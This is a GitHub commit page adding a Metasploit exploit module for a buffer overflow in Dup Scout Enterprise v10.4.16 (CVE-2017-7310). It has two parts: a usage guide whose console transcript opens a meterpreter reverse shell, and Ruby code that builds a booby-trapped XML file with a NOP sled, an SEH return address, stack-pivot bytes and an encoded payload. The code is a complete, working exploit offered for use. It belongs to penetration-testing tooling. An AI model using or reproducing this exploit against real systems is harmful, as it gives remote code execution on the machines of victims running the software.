Skip to content

Commit d4a0372

Browse files
committed
Land rapid7#9457, Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow
2 parents 73b2b8d + 4cd5801 commit d4a0372

File tree

2 files changed

+116
-0
lines changed

2 files changed

+116
-0
lines changed
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16 by using the import command option to import a specially crafted xml file.
2+
3+
## Vulnerable Application
4+
5+
This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [www.dupscout.com](http://www.dupscout.com/setups/dupscoutent_setup_v10.4.16.exe).
6+
7+
## Verification Steps
8+
9+
1. Start msfconsole
10+
2. Do: `exploit/windows/fileformat/dupscout_xml`
11+
3. Do: `set PAYLOAD [PAYLOAD]`
12+
4. Do: `run`
13+
14+
## Example
15+
```
16+
msf > use exploit/windows/fileformat/dupscout_xml
17+
msf exploit(windows/fileformat/dupscout_xml) > set PAYLOAD windows/meterpreter/reverse_tcp
18+
PAYLOAD => windows/meterpreter/reverse_tcp
19+
msf exploit(windows/fileformat/dupscout_xml) > set LHOST 172.16.40.146
20+
LHOST => 172.16.40.146
21+
msf exploit(windows/fileformat/dupscout_xml) > run
22+
23+
[*] Creating 'msf.xml' file ...
24+
[+] msf.xml stored at /root/.msf4/local/msf.xml
25+
msf exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler
26+
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
27+
PAYLOAD => windows/meterpreter/reverse_tcp
28+
msf exploit(multi/handler) > set LHOST 172.16.40.146
29+
LHOST => 172.16.40.146
30+
msf exploit(multi/handler) > run
31+
32+
[*] Started reverse TCP handler on 172.16.40.146:4444
33+
[*] Sending stage (179779 bytes) to 172.16.40.144
34+
[*] Meterpreter session 1 opened (172.16.40.146:4444 -> 172.16.40.144:49790) at 2018-01-24 20:56:56 +0000
35+
36+
meterpreter > sysinfo
37+
Computer : PC
38+
OS : Windows 7 (Build 7601, Service Pack 1).
39+
Architecture : x86
40+
System Language : pt_PT
41+
Domain : WORKGROUP
42+
Logged On Users : 1
43+
Meterpreter : x86/windows
44+
meterpreter >
45+
```
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = NormalRanking
8+
9+
include Msf::Exploit::FILEFORMAT
10+
include Msf::Exploit::Remote::Seh
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow',
15+
'Description' => %q(
16+
This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16
17+
by using the import command option to import a specially crafted xml file.
18+
),
19+
'License' => MSF_LICENSE,
20+
'Author' =>
21+
[
22+
'Daniel Teixeira'
23+
],
24+
'References' =>
25+
[
26+
[ 'CVE', '2017-7310' ]
27+
],
28+
'DefaultOptions' =>
29+
{
30+
'EXITFUNC' => 'seh',
31+
'DisablePayloadHandler' => 'true'
32+
},
33+
'Platform' => 'win',
34+
'Payload' =>
35+
{
36+
'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
37+
'StackAdjustment' => -3500
38+
},
39+
'Targets' =>
40+
[
41+
['Windows Universal', { 'Ret' => 0x651BB77A } ]
42+
],
43+
'Privileged' => false,
44+
'DisclosureDate' => 'Mar 29 2017',
45+
'DefaultTarget' => 0))
46+
47+
register_options(
48+
[
49+
OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
50+
])
51+
end
52+
53+
def exploit
54+
esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
55+
jmp = "\xFF\xE0" # JMP ESP
56+
57+
buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
58+
buffer << "\x90" * 1560
59+
buffer << [target.ret].pack('V')
60+
buffer << "\x90" * 16
61+
buffer << esp
62+
buffer << jmp
63+
buffer << "\x90" * 70
64+
buffer << payload.encoded
65+
buffer << "\x90" * 5000
66+
buffer << "\n</classify>"
67+
68+
print_status("Creating '#{datastore['FILENAME']}' file ...")
69+
file_create(buffer)
70+
end
71+
end

0 commit comments

Comments
 (0)